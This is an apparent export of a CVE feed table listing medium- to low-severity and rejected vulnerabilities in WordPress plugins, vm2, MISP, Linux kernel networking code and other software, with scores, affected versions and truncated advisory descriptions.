CVE-2026-85999	New	5.3	MEDI			pip:soupsieve	Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector contain...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86000	New	5.3	MEDI			pip:soupsieve	Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value ...
CVE-2026-8674	New	5.3	MEDI				Initializing the DNS stub resolver from an /etc/resolv.conf file, or a LOCALDOMAIN environment variable, whose search list contains a domain of roughly 200 characters or more in the GNU C Library version 2.26 to 2.44 results in an assertion failure which aborts the process. The resolver truncates the search list when copying it into the fixed-size _res.defdname buffer, then...
CVE-2026-89064	New	5.3	MEDI				The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to Insufficient Credential Protection in versions up to, and including, 7.110. This is due to the `Ai1wm_Main_Controller::init()` method — registered on the `admin_init` hook, which fires unauthenticated on `admin-ajax.php` and `admin-post.php` requests — reading `\$_SERVER['PHP_AUTH_USER']` and `\$_SERV...
CVE-2026-90922	New	5.3	MEDI				The Paid Membership Subscriptions WordPress plugin before 3.0.9 does not verify that the amount and currency reported by the payment provider match the pending payment before completing it, allowing unauthenticated users to obtain a paid membership by paying an arbitrary lower amount.
CVE-2026-90982	New	5.3	MEDI				@fastify/static is a Fastify plugin that serves static files from a configured root directory. In versions before 10.1.4, on a case-insensitive filesystem such as Windows or the default macOS volume, a route guard or allowedPath restriction can be bypassed by altering the letter case of a path segment. The route matcher is case-sensitive while the filesystem is not, so a req...
CVE-2026-91015	New	5.3	MEDI				The Master Addons for Elementor WordPress plugin before 3.1.9 does not perform an authorization check on the AJAX action that deactivates its Popup Builder popups, relying only on a nonce that is publicly output to every visitor, allowing unauthenticated attackers to permanently disable any popup on the site.
CVE-2026-91016	New	5.3	MEDI				The Motors WordPress plugin before 1.4.121 does not verify that a request is authorized to view a user's non-published listings before returning them, allowing unauthenticated attackers to read any author's draft, pending and private car listings - including titles, prices, media URLs and seller notes - by supplying only the target's numeric user id.
CVE-2026-92879	New	5.3	MEDI				A security flaw has been discovered in vgmstream up to r2117. This issue affects the function parse_mus of the file src/meta/mus_acm.c. The manipulation results in resource consumption. The attack may be launched remotely. The patch is identified as ae37662ad626254ddd96ad69ac263792d7a92024. Applying a patch is advised to resolve this issue.
CVE-2026-92920	New	5.3	MEDI				admin3 through 3.0.0 fails to invalidate existing sessions when disabling a user account, allowing attackers to retain authenticated access with original permissions. Attackers can continue using bearer tokens issued before account disablement to authenticate requests, as the AuthInterceptor never re-validates the user's locked status and session expiry resets on each request.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92927	New	5.3	MEDI				A vulnerability was found in SourceCodester Drug Recommendation System 1.0. This issue affects some unknown processing of the file /db/drug_recommendor.sql. Performing a manipulation results in information disclosure. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
CVE-2026-92963	New	5.3	MEDI				vm2 versions before 3.11.2 fail to properly restrict access to the VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL global variable. Attackers can access this internal state object through globalThis to retrieve sensitive sandbox internals.
CVE-2026-92973	New	5.3	MEDI				ansi2html versions 1.7.0a0 through 1.9.3 contain a cross-site scripting vulnerability in OSC 8 hyperlink handling that fails to validate or escape URL targets. Attackers controlling ANSI text input can inject javascript: schemes or terminate href attributes to execute arbitrary scripts in the context of pages displaying converted output.
CVE-2026-53555	New	5.1	MEDI				SQLBot is an intelligent Text-to-SQL system based on large language models and RAG. Prior to 1.9.0, an authenticated uploader can submit an image/svg+xml assistant UI logo through PATCH /api/v1/system/assistant/ui, and SQLBot stores the SVG without sanitizing or validating embedded active content. SQLBot later serves the file inline from the same application origin through G...
CVE-2026-92932	New	5.1	MEDI				In the MISP sachertortephp library, the Xml::build() static method in lib/Cake/Utility/Xml.php contains a logic error in the conditional that gates network-based XML fetching. The original condition was written as: \$options['readFile'] && strpos(\$input, 'http://') === 0 strpos(\$input, 'https://') === 0. Because PHP's && operator has higher precedence than , the expressi...
CVE-2026-93295	New	5.1	MEDI				MISP contains a vulnerability in its background job dispatch mechanism that allows remote code execution as the web user. Background job arguments are passed directly as the argv of the CakePHP console process. CakePHP's ShellDispatcher::_parsePaths() scans the entire argv for path switches (-app, --app, -working, --working, -root, --root, -webroot, --webroot) and uses the f...
CVE-2026-93296	New	5.1	MEDI				MISP contains a stored cross-site scripting (XSS) vulnerability in the Overmind theme's statistics views. The event General card (event_general.ctp) and the server/feed preview card (preview_general.ctp) constructed donut chart legend labels by directly concatenating object name or category keys into an innerHTML string without HTML-encoding. Because MISP object names (e.g.,...
CVE-2026-54546	New	5.0	MEDI			npm:@tak-ps/cloudtak	CloudTAK is a browser-based Common Operating Picture and situational awareness tool compatible with TAK. Prior to 13.22.1, the authenticated PUT /api/basemap endpoint passes an attacker-controlled URL through importBasemapURL() in api/routes/basemap.ts to fetch(url) without resolved-address classification or redirect revalidation. BasemapProtocol.isValidURL in api/lib/interf...
CVE-2026-50603	New	4.9	MEDI				A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. The vulnerability is caused by the use of a hard-coded AES encryption key within the software. Under certain circumstances, a local attacker may be able to use the embedded key to access protected information or perform unauthorized actions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-50604	New	4.9	MEDI				A vulnerability has been identified in the Acer Agent Service component included with NitroSense and PredatorSense. The socket handshake process does not properly require authentication before granting access to the service. Under certain circumstances, an unauthorized connection may be established, potentially allowing access to functionality that should be restricted.
CVE-2026-91019	New	4.9	MEDI				The Event Booking Manager for WooCommerce WordPress plugin before 5.6.0 does not restrict who can view its stored payment gateway configuration, allowing users with Contributor-level access and above to read the site's PayPal and Stripe credentials, including their secret keys.
CVE-2026-92921	New	4.9	MEDI				admin3 through 3.0.0 stores account passwords using single-round MD5 with only the username as salt and no key derivation function. Attackers with database access can recover plaintext passwords through offline dictionary or brute-force attacks due to negligible computational effort.
CVE-2026-54645	New	4.8	MEDI				CubeCart is an ecommerce software solution. Prior to 6.7.5, admin/sources/products.index.inc.php reads the description, description_short, and spec_copy rich-text fields from \$GLOBALS['RAW']['POST'] and removes only script elements before the values are stored and rendered through Smarty templates. An administrator with product-editing rights can store event-handler attribut...
CVE-2026-86824	New	4.8	MEDI				The Newsletter WordPress plugin before 9.3.8 does not generate its email tracking signing key with sufficient entropy and signs its tracking links with an unkeyed hash, allowing an unauthenticated attacker who recovers that key offline to forge tracking links, obtain any subscriber's session token, and read and modify that subscriber's stored personal data.
CVE-2026-92611	New	4.8	MEDI				In Eclipse Ankaio versions 0.6.0 to before 1.0.4, `LogRule::matches` in the agent control-interface authorizer stops at the first wildcard pattern in a single rule instead of evaluating later entries, which can cause deny `LogRule` entries to be skipped and allow unauthorized access to another workload's logs.
CVE-2026-54565	New	4.7	MEDI				rhwp is an HWP viewer and editor implemented in Rust and WebAssembly. Prior to rhwp 0.7.15 and rhwp Chrome and Firefox extension 0.2.4, the browser extensions use an all-URLs host permission to detect HWP and HWPX links on visited pages, but the service workers do not validate message senders, URL schemes, or destination addresses before privileged fetches. The affected path...
CVE-2026-54495	New	4.3	MEDI				The OpenFeature Operator allows users to expose feature flags to applications. In version 0.9.2 and earlier, a tenant who can create a controller-owned workload can use the openfeature.dev/featureflagsource annotation with NAMESPACE/NAME syntax to reference a FeatureFlagSource or InProcessConfiguration in another namespace. On multi-tenant clusters that use namespaces as tru...
CVE-2026-54551	New	4.3	MEDI				WireGuard Portal, or wg-portal, is a web-based configuration portal for WireGuard server management. From 2.2.0 until 2.3.0, the authenticated GET /api/v0/ws statistics WebSocket in internal/app/api/v0/handlers/endpoint_websocket.go subscribes to TopicPeerStatsUpdated and TopicInterfaceStatsUpdated and forwards every TrafficDelta event without per-user authorization in handl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78427	New	4.3	MEDI				The NeuVector admission webhook silently excludes containers from policy evaluation when their image path matches one of three hardcoded service mesh sidecar images. Since the image path is entirely controlled by the workload author, any user capable of deploying workloads can evade admission deny rules simply by naming their image path after one of these sidecar images.
CVE-2026-87829	New	4.3	MEDI				The Checkout Field Manager (Checkout Manager) for WooCommerce WordPress plugin before 7.9.7 does not properly validate the ownership of an attachment before deleting it, allowing any authenticated user such as a customer to delete arbitrary media attachments belonging to other users.
CVE-2026-87831	New	4.3	MEDI				The Checkout Field Manager (Checkout Manager) for WooCommerce WordPress plugin before 7.9.7 does not properly validate the ownership of an attachment before deleting it, allowing any authenticated user such as a customer to delete arbitrary media attachments belonging to other users.
CVE-2026-91009	New	4.3	MEDI				The Active Woot Products Tables for WooCommerce. 100% FREE WordPress plugin before 2.1.3 does not have authorisation and CSRF checks in some of its AJAX actions, allowing any authenticated users, such as subscriber, to change the title of arbitrary posts, pages and products.
CVE-2026-91010	New	4.3	MEDI				The Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms WordPress plugin before 5.1.1 does not check the user's capabilities in its message deletion AJAX action, and only tests that a nonce parameter is present rather than validating it, allowing any authenticated user, such as a subscriber, to permanently delete every form submission the Invisible Anti-Spam ...
CVE-2026-92839	New	4.3	MEDI				Canva Desktop before v1.125.0 performed double decoding in the deeplink handler. A threat actor could cause the application to load arbitrary same-origin content under the user's session.
CVE-2026-92881	New	4.3	MEDI				A security vulnerability has been detected in vgmstream. The affected element is the function init_vgmstream_awb_memory of the file src/meta/awb.c of the component AWB parser. Such manipulation leads to divide by zero. The attack can be executed remotely. The name of the patch is ae37662ad626254ddd96ad69ac263792d7a92024. A patch should be applied to remediate this issue.
CVE-2026-92893	New	4.3	MEDI				A flaw was found in the foreman_ansible plugin's Ansible inventory API. The controller builds its host query using an unscoped Host.where call that does not enforce the search filter associated with the caller's view_hosts permission. An authenticated user whose host visibility is restricted by a permission filter can supply arbitrary host IDs within their organization and r...
CVE-2026-92894	New	4.3	MEDI				A flaw was found in the foreman_ansible plugin's Ansible override values API. The destroy action resolves the target LookupValue record by ID without verifying it belongs to an AnsibleVariable the caller is authorized to edit. An authenticated user with the edit_ansible_variables permission can delete any LookupValue by ID, including override values for Ansible variables out...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92904	New	4.3	MEDI				A flaw was found in the foreman_remote_execution plugin's template invocations controller. The show_template_invocation_by_host action resolves the job invocation by ID without evaluating the caller's view_job_invocations permission filter against the record. An authenticated user whose job invocation visibility is restricted by a permission filter can enumerate job invocati...
CVE-2026-93013	New	4.3	MEDI				RAGFlow through 0.27.2 contains a path traversal vulnerability in the dev_insert_chunks_from_file and dev_insert_metadata_from_file endpoints that allows authenticated attackers to read arbitrary files by supplying absolute file paths in the file_path parameter. Attackers with valid access tokens can exploit missing path validation to read any file accessible to the service,...
CVE-2026-93307	New	4.3	MEDI				A vulnerability has been found in O-RAN-SC SMO OAM 2025-06-10. Affected is an unknown function of the component VES Collector. Such manipulation of the argument additionalFields.padding leads to uncontrolled memory allocation. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early throu...
CVE-2026-81441	New	4.0	MEDI				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Denial of service.
CVE-2026-92949	New	4.0	MEDI				vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only.
CVE-2026-12284	New	3.7	LOW				Mattermost Desktop App versions <=6.2 6.2.2.0 fails to validate the IPC sender in the leaveCall handler which allows a malicious or compromised Mattermost server (or a user with script access to a connected server view) to disconnect an active call belonging to a different connected server via the desktopAPI.leaveCall IPC message. Mattermost Advisory ID: MMSA-2026-00699
CVE-2026-61700	New	3.7	LOW			maven.org.mariadb.jdbc:mariadb-java-client	MariaDB Connector/J is used to connect applications developed in Java to MariaDB and MySQL databases. Prior to 2.7.14, 3.3.5, 3.4.3, and 3.5.9, ClientMessage.readPacket processes a server-initiated LOCAL INFILE protocol packet 0xfb without enforcing allowLocalInfile=false. When an application sends a LOAD DATA LOCAL INFILE COM_QUERY, a rogue or man-in-the-middle server can e...
CVE-2026-78426	New	3.7	LOW				The NeuVector JWT verifier accepts noncanonical Base64URL encodings of the same RSA signature field. An attacker holding a valid JWT that has not expired, but was logged out of NeuVector, can continue using the non-expired token with equivalent spelling of the RSA signature field until the token validity expires.
CVE-2026-81438	New	3.7	LOW				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains Use of a Broken or Risky Cryptographic Algorithm vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81439	New	3.7	LOW				Dell OpenManage Server Administrator, versions prior to 11.1.0.3, contains an Incorrect Authorization vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Protection mechanism bypass.
CVE-2026-85716	New	3.7	LOW			maven:org.asynchttpclient:async-http-client	The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 3.0.8 until 3.0.12, processScramAuthenticationInfo and processAuthenticationInfo compute the SCRAM ServerSignature or Digest rspauth verification result but log a mismatch and still deliver the response as authenticated. On a non-TLS or c...
CVE-2026-86446	New	3.7	LOW				The LearnPress WordPress plugin before 4.4.7 does not restrict the correctness flags it returns when a quiz answer is checked, allowing unauthenticated attackers to obtain the correct answer to every option of a question, along with the instructor's explanation, on courses configured to be taken without enrolling.
CVE-2026-91008	New	3.7	LOW				The Event Booking Manager for WooCommerce WordPress plugin before 5.3.8 does not perform an ownership or authorization check before rendering booking confirmation details, allowing unauthenticated attackers to retrieve registered attendees' personal information (full name, email address, phone number, and custom registration fields) by supplying an enumerable booking refere...
CVE-2026-91017	New	3.7	LOW				The Robokassa payment gateway for Woocommerce WordPress plugin before 1.8.9 does not verify the authenticity of incoming payment notifications when its non-default deferred-payment feature is enabled, allowing unauthenticated attackers to forge a notification and mark arbitrary WooCommerce orders as paid or on-hold without payment or a valid signature.
CVE-2026-54471	New	3.5	LOW				Dell SmartFabric Manager, versions prior to 2.2.1, contains an Improper Handling of Insufficient Permissions or Privileges vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.
CVE-2026-45723	New	2.7	LOW				Omni manages Kubernetes on bare metal, virtual machines, or in a cloud. Prior to 1.6.6 and 1.7.3, managementServer.CreateSchematic in internal/backend/grpc/schematics.go passes the caller-controlled TalosVersion field to imageFactoryClient.OverlaysVersions without validating it as a version. An authenticated Operator can submit traversal segments in TalosVersion, and url.URL...
CVE-2026-50607	New	2.7	LOW				A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. A WebSocket service was configured to listen on all network interfaces, which may expose the service to unintended network access.
CVE-2026-87836	New	2.7	LOW				The Comments Import & Export WordPress plugin before 2.5.4 does not restrict its comment export to users able to moderate comments, nor scope the export to content owned by the requesting user, allowing users with the Author role and above to retrieve every comment on the site, including commenter email addresses, IP addresses, unapproved comment content and comment meta.
CVE-2026-75588	New	2.6	LOW				Mattermost Desktop App versions <=6.2 6.2.2.0 fail to validate the URL scheme when checking whether a target URL is internal to the connected server, which allows a network-positioned attacker to load a plugin popout window over an insecure connection via a link using a downgraded URL scheme. Mattermost Advisory ID: MMSA-2026-00717

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54579	New	2.3	LOW				mport is the MidnightBSD Package Manager. Prior to 2.7.8, ping() in libmport/ping.c accepted ICMP replies without validating icmp_id or icmp_seq and parsed the reply using a fixed IP-header offset instead of ip_hl. A network attacker able to inject or spoof visible ICMP replies could influence mirror latency selection, while a malformed packet carrying IP options could shift...
CVE-2026-81637	New	2.3	LOW				Insufficient Session Expiration vulnerability in team-alembic AshAuthentication allows an attacker who obtains a victim's OAuth2 state value to replay the callback and sign that victim into an attacker-controlled account. AshAuthentication.Strategy.OAuth2.Plug.callback/2 clears the stored session_params through a rebinding step inside its with chain, conn <- delete_session(...
CVE-2026-92945	New	2.3	LOW				vm2 before 3.11.7 contains a module allowlist bypass vulnerability in isPathAllowedForModule that uses raw string prefix matching instead of boundary-anchored comparison. Attackers can reach non-allowlisted packages sharing a prefix with allowlisted modules by performing relative requires from allowlisted packages when transitive loading is disabled.
CVE-2026-54649	New	2.1	LOW				punchin-email is a Cloudflare Email Worker that provides two-way role aliases while relaying mail to a private inbox. Prior to 1.5.0, handleInbound delivers inbound alias mail with message.forward(), which silently drops the added Reply-To header intended to route responses through the relay. When a correspondent sends mail to an alias and the operator replies, the mail clie...
CVE-2026-92962	New	2.1	LOW				vm2 is a sandbox for running untrusted JavaScript. In vm2 versions up to and including 3.11.3, the defaultSandboxPrepareStackTrace function in lib/setup-sandbox.js builds its output array using prototype-walking index assignment (lines[lines.length] = value) rather than a prototype-bypassing define-property primitive. Because this bridge-internal array is allocated in the sa...
CVE-2026-92992	New	2.1	LOW				A security vulnerability has been detected in Dromara mayfly-go up to 1.11.5. The affected element is an unknown function of the file server/internal/ai/api/ai.go of the component AI Assistant. The manipulation leads to missing authorization. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The identifier of the patch is...
CVE-2026-54577	New	2.0	LOW				mport is the MidnightBSD Package Manager. Prior to 2.7.8, the audit command in mport/mport.c computed option-adjusted local_argv and local_argc values but passed the original argument entry to audit_package(). When an operator or automation used an option such as -r before a package name, stale optind state and the unadjusted argument could cause mport to audit the option to...
CVE-2026-54578	New	2.0	LOW				mport is the MidnightBSD Package Manager. Prior to 2.7.8, mport_verify_package() in libmport/verify.c could continue after MD5File() or SHA256_File() failed and compare an expected checksum with stale data in the hash buffer rather than a newly computed digest. An attacker able to influence an installed file or the conditions that make hashing fail could receive a misleading...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82723	New	1.8	LOW				Insertion of Sensitive Information into Log File vulnerability in team-alembic AshAuthentication allows disclosure of user password digests to readers of the audit store. The audit_log add-on builds each entry's extra_data in AshAuthentication.AddOn.AuditLog.Auditor.build_extra_data/4, which takes :actor from the action callback context verbatim. Any audited action invoked ...
CVE-2026-82759	New	1.8	LOW				Use of a One-Way Hash with a Predictable Salt vulnerability in team-alembic AshAuthentication allows readers of the audit store to recover the client IP addresses that the audit log add-on's :hash privacy mode is meant to pseudonymise. AshAuthentication.AddOn.AuditLog.IpPrivacy.hash_ip/1 computes a single unkeyed :crypto.hash(:sha256, salt <> ip) and truncates the result to...
CVE-2026-50606	New	1.2	LOW				A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. The vulnerability is caused by the use of a hard-coded AES encryption key within the software. Under certain circumstances, a local attacker may be able to use the embedded key to access protected information or perform unauthorized actions.
CVE-2026-50608	New	1.2	LOW				A vulnerability has been identified in the Acer System Monitoring component included with NitroSense and PredatorSense. The WebSocket handshake process does not properly require authentication before allowing connections to the service. Under certain circumstances, unauthorized access to service functionality may be possible.
CVE-2026-55061	New	1.0	LOW				uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpect...
CVE-2021-3030	New						Cute Editor for ASP.NET 6.4 is vulnerable to reflected cross-site scripting caused by improper validation of the Theme GET parameter in colorpicker_more.aspx. A remote, unauthenticated attacker can craft a URL that, once opened by a victim in a browser session authenticated to a site running the vulnerable component, executes arbitrary JavaScript in the security context of t...
CVE-2025-55787	New						In MailData Email Archiving System v4.2 and earlier, a SQL injection vulnerability exists.
CVE-2025-62167	New						Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2026-33626. Reason: This candidate is a duplicate of CVE-2026-33626. Notes: All CVE users should reference CVE-2026-33626 instead of this candidate.
CVE-2026-10594	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-11314	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-11432	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-11874	New						Rejected reason: Red Hat Product Security has come to the conclusion that this CVE is not needed.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-49137	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-49292	New	0.0	NONE				Kiwi TCMS is an open source test management system. Prior to 16.0, the unauthenticated /init-db/ page handled by InitDBView in tcms/core/views.py remains reachable after initial setup and proxies repeated requests to Kiwi/manage.py migrate. The migration command is reentrant, so repeated access reports that no migrations are available and does not cause data loss, alter appl...
CVE-2026-52483	New						The ping diagnostics and other similar functions of the MitraStar GPT-2741GNAC-N2-SV router with firmware BR_g8.10_1.11(WVK.0)b46 allow authenticated users execute arbitrary OS command via concatenated params on a crafted POST request for the endpoint /cgi-bin/device-management-utilities-internet.cgi.
CVE-2026-53679	New						Rejected reason: Red Hat Product Security has come to the conclusion that this CVE is not needed.
CVE-2026-53681	New						Rejected reason: Red Hat Product Security has come to the conclusion that this CVE is not needed.
CVE-2026-57846	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-57847	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-65323	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-73245	New		MODE		0.002	Maven:io.kestra:kestra	## Summary Kestra's Micronaut **management endpoints are served on port 8081 with no authentication**, even when the main API (port 8080) has basic-auth enabled. Anyone who can reach `:8081` can read `GET /env` (full resolved environment/configuration) and mutate runtime state via `POST /loggers/{name}` (change log levels), among the other management endpoints. Enabling basi...
CVE-2026-73247	New		HIGH		0.004	Maven:io.kestra:core, Maven:io.kestra:kestra-core	### Summary The Pebble template engine's `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affe...
CVE-2026-73638	New						Imager versions from 0.45_02 before 1.035 for Perl read outside the EXIF block via unchecked start offsets in tiff_load_ifd. tiff_load_ifd() validates an IFD entry's data by checking that `entry->offset + entry->size` stays within the EXIF block, and never checks the start offset itself. Where that sum is not the real end of the data, the check passes with the entry startin...
CVE-2026-73639	New						Imager::File::PNG versions from 1.003 before 1.004 for Perl write past the end of the row buffer reading a PNG with a tRNS transparency chunk in read_direct8. With a tRNS chunk, read_direct8() adds an alpha channel to the image it creates but still sizes the row buffer from the original channel count. libpng expands the transparency into that extra channel, so png_read_row(...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78668	New						Rejected reason: reserved but not needed
CVE-2026-90050	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: fq: clamp quantum and initial_quantum in change path The fq change path accepts TCA_FQ_QUANTUM in [1, INT_MAX] and TCA_FQ_INITIAL_QUANTUM up to INT_MAX, while fq_init() already clamps to [1, 1<<20]. A user can override the init clamp via tc qdisc change, restoring the small-quantum deficit spin ...
CVE-2026-90051	New						In the Linux kernel, the following vulnerability has been resolved: tcp: reject non zerocopy devmem tx Devmem tcp tx doesn't work without zero-copy, however it's not currently enforced if NETIF_F_SG isn't present. In this case, tcp_sendmsg_locked() will try the copy path and try to copy data from an iovec which consists of offsets into the dma-buf and would normally fail. ...
CVE-2026-90052	New						In the Linux kernel, the following vulnerability has been resolved: dm-integrity: fix buffer overflow with keyed discard Since commit 68c5c42567bc ("dm-integrity: replace forgeable discard filler with a keyed sector marker"), integrity_metadata computes a checksum for every discarded block into the "checksums" buffer. integrity_sector_checksum always writes the whole diges...
CVE-2026-90053	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_htb: limit htb_classify inner-class filter hops htb_classify() follows each filter-selected inner class by switching to cl->filter_list, but never bounds the number of hops. A filter on an inner class can point back to itself or to another inner class that points back, creating an infinite l...
CVE-2026-90054	New						In the Linux kernel, the following vulnerability has been resolved: tcp: fix corruption of urgent data on multi-segment retransmit On the normal xmit path, while in urgent mode we refuse to build a multi-segment TSO packet, so every segment gets its own urg_ptr: /* tcp_write_xmit() */ limit = mss_now; if (tso_segs > 1 && !tcp_urg_mode(tp)) limit = tcp_mss_split_point...
CVE-2026-90055	New						In the Linux kernel, the following vulnerability has been resolved: usb: atm: usbatm: fix invalid ci_range initialization syzbot reported a shift-out-of-bounds in __vcc_connect(): UBSAN: shift-out-of-bounds in net/atm/common.c:382:32 shift exponent -1 is negative CPU: 0 UID: 0 PID: 5987 Comm: syz.0.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Co...
CVE-2026-90056	New						In the Linux kernel, the following vulnerability has been resolved: net: fec: only stop PTP if it was initialized fec_ptp_init() is only called when fep->bufdesc_ex is available. However, fec_probe() unconditionally calls fec_ptp_stop() on the failed_init path, and fec_drv_remove() unconditionally calls fec_ptp_stop() during device removal. Check fep->bufdesc_ex before ca...
CVE-2026-90057	New						In the Linux kernel, the following vulnerability has been resolved: slip: remove slip_hangup() to fix use-after-free in slip_receive_buf() Jaeyoung Chung and Eulgyu Kim reported a slab-use-after-free read in slip_receive_buf() when racing against tty hangup. tty_ldisc_hangup() calls ld->ops->hangup() while holding only a read lock on tty->ldisc_sem (via tty_ldisc_ref()). ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90058	New						In the Linux kernel, the following vulnerability has been resolved: net/sched: bound qdisc_pkt_len to prevent qdisc soft lockup qdisc_get_stab() accepts a user-supplied size table, and __qdisc_calculate_pkt_len() amplifies qdisc_pkt_len() through the overhead, the size-table data (u16), and size_log (up to STAB_SIZE_LOG_MAX). A crafted stab can therefore set qdisc_pkt_len(...
CVE-2026-90059	New						In the Linux kernel, the following vulnerability has been resolved: net: stmmac: restore NET_IP_ALIGN in the RX DMA offset Since the RX path was converted to zero-copy, the page pool page is handed to the stack directly as the skb head, and the offset the DMA engine writes at is what determines the alignment of the packet headers. Before the conversion the payload was cop...
CVE-2026-90060	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: control: Don't add invalid kcontrols to LED layer The kcontrol LED state layer tries to track the all associated kcontrol elements with naive assumptions that they are readable. But one can create a write-only element that has no get callback (even a user element can do it), and this may lead to a NU...
CVE-2026-90061	New						In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: skip double clone set expressions on element insert Both the dynset and newsetelem path clone the existing set expressions when setting set element expressions if no override expressions are provided. This results in a double clone, once to clone the template set expressions then anot...
CVE-2026-90062	New						In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: move hardware offload step after building the chain blob Allocate the chain blob before the ruleset offload to reduce chances of entering an inconsistent state where the offloaded ruleset in the nic and the software ruleset differ.
CVE-2026-90063	New						In the Linux kernel, the following vulnerability has been resolved: virtio-net: Ensure that TCP packets don't overflow gso_segs The user can specify any gso_size in a packet crafted with an AF_PACKET PACKET_VNET_HDR socket, even smaller than TCP_MIN_GSO_SIZE = 8. At the same time, GSO_MAX_SIZE = 8 * GSO_MAX_SEGS = 8 * 65535. When the user crafts a packet with gso_size < 8,...
CVE-2026-90064	New						In the Linux kernel, the following vulnerability has been resolved: drm/xe: Reject page faults from non-fault-mode scratch VMs Having scratch enabled does not make a VM capable of handling recoverable page faults. Allowing scratch VMs through the ASID lookup also admits dma-fence mode VMs. If such a VM faults on an already valid VMA, the handler reports success without fi...
CVE-2026-90065	New						In the Linux kernel, the following vulnerability has been resolved: net/smc: release the internal TCP sock on IPPROTO_SMC socket creation failure IPPROTO_SMC sockets create an internal TCP sock ("clsock") from the proto->init hook. When socket creation fails after proto->init has run - e.g. a cgroup BPF program attached to BPF_CGROUP_INET_SOCKET_CREATE denies the socket - s...
CVE-2026-90066	New						In the Linux kernel, the following vulnerability has been resolved: samples/ptrace: Fix kthread_stop() on ERR_PTR in ptrace-direct-multi-modify ptrace_direct_multi_init() assigns kthread_run()'s return value to simple_tsk without an IS_ERR() check. When kthread_run() fails it returns ERR_PTR(-ENOMEM), but init still returns 0, so the module loads with simple_tsk holding an...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90067	New						In the Linux kernel, the following vulnerability has been resolved: libceph: validate banner payload length When parsing the Ceph messenger v2 protocol banner, the `payload_len` field is decoded from the banner prefix. If a client sends a banner with a `payload_len` of 0, the kernel sets up a 0-length socket read. This violates an invariant in the state machine, triggering...
CVE-2026-90068	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: dapm: Fix off-by-one check on the second enum channel The snd_soc_dapm_put_enum_double() rejects item[0] once it reaches e->items, but it lets item[1] be equal to it. Both go on to snd_soc_enum_item_to_val(), which indexes e->values with no bound of its own, so an enum with a value table reads one e...
